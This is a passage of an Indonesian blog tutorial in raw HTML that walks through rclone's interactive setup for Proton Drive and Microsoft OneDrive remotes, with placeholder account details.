&lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Proton&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;protondrive&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;protondrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;User&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;you@protonmail.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Password.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes type in my own password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;g&lt;/span&gt;&lt;span&gt;) Generate random password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No leave this optional password blank&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/g/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Confirm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Option&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2fa.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2FA&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;code&lt;/span&gt;&lt;span&gt; (if &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;account&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;requires&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;one&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Press&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;empty.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2fa&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;123456&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Options:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;protondrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you@protonmail.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pass:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ENCRYPTED&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Keep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;this&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;remote&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes this is OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi Proton Drive:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Proton Drive configuration&quot; loading=&quot;lazy&quot; width=&quot;1050&quot; height=&quot;501&quot; src=&quot;/_astro/ss5.xZEgpCOb_85VGC.webp&quot; /&gt;&lt;figcaption&gt;Proton Drive configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. One Drive&lt;a href=&quot;#4-one-drive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://onedrive.live.com/&quot; target=&quot;_blank&quot;&gt;One Drive&lt;/a&gt; menyediakan [&lt;strong&gt;5 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi One Drive.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit existing remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;) Rename remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;) Copy remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e/n/d/r/c/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Press&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Microsoft&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;OneDrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;onedrive&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;onedrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Microsoft&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;App&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Client&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Id&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blank&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;normally.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Press&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_id&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Microsoft&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;App&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Client&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Secret&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blank&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;normally.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Press&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;client_secret&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;advanced&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config?&lt;/span&gt;&lt;span&gt; (y/n)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;automatically&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;authenticate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Say&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;machine&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;running&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;has&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;can&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Say&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;N&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;running&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; 